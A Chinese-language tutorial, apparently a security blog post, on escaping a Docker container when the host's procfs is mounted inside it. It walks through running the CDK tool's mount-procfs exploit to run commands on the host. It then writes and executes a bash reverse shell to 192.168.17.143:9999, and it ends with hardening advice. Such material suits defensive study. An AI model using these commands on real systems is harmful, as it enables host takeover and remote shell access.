基本概述
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时
容器逃逸
Step 1:在宿主机启动测试容器,挂载宿主机的procfs,尝试逃逸当前容器
docker run -v /home/ubuntu/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
Step 2:容器内部执行以下命令
./cdk run mount-procfs /mnt/host_proc \\\"touch /tmp/exp-success\\\"
Step 3:宿主机中出现/tmp/exp-success文件,说明EXP已经成功执行,攻击者可以在宿主机执行任意命令
./cdk run mount-procfs /mnt/host_proc \\\"echo \\\'/bin/bash -i >& /dev/tcp/192.168.17.143/9999 0>&1\\\' > /tmp/res.sh\\\"
./cdk run mount-procfs /mnt/host_proc \\\"/bin/bash /tmp/res.sh\\\"
Step 4:之后成功获取到物理主机的shell
文末小结
总的来说,Procfs挂载是一种常见的系统调优技术,它可以帮助用户监控和分析系统资源的使用情况。然而,如果不小心处理,将Procfs挂载到容器中可能会导致安全风险,使得攻击者能够通过访问/proc目录来获取敏感主机信息或者实施攻击。为了避免这种风险,我们需要注意以下几点:
1、在启动容器之前,确保没有把Procfs文件系统挂载到容器内部。
2、对于需要访问/proc目录的容器,限制其对/proc目录的访问权限,只开放必要的信息
3、细化容器的权限设置,根据具体的应用场景来划分容器的权限范围,避免滥用特权。
4、定期检查容器的配置和运行状态,及时发现和修复潜在的安全漏洞和风险。
综上所述,我们需要在使用Procfs挂载的同时,加强容器的安全管理,以确保容器环境下的安全性和稳定性。
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34147.html